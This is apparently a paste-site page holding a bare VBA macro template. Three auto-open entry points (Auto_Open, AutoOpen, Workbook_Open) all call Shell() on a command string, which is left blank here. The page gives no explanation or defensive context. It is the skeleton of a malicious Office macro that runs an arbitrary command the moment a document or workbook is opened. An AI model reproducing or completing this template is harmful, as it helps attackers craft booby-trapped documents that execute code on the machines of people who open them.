SHOW:
|
|
- or go back to the newest paste.
| 1 | Macro | |
| 2 | ------------------------------------------------------ | |
| 3 | Sub Auto_Open() | |
| 4 | Dim exec As String | |
| 5 | exec = " " | |
| 6 | Shell (exec) | |
| 7 | End Sub | |
| 8 | Sub AutoOpen() | |
| 9 | Auto_Open | |
| 10 | End Sub | |
| 11 | Sub Workbook_Open() | |
| 12 | Auto_Open | |
| 13 | End Sub | |
| 14 | ------------------------------------------------------ |
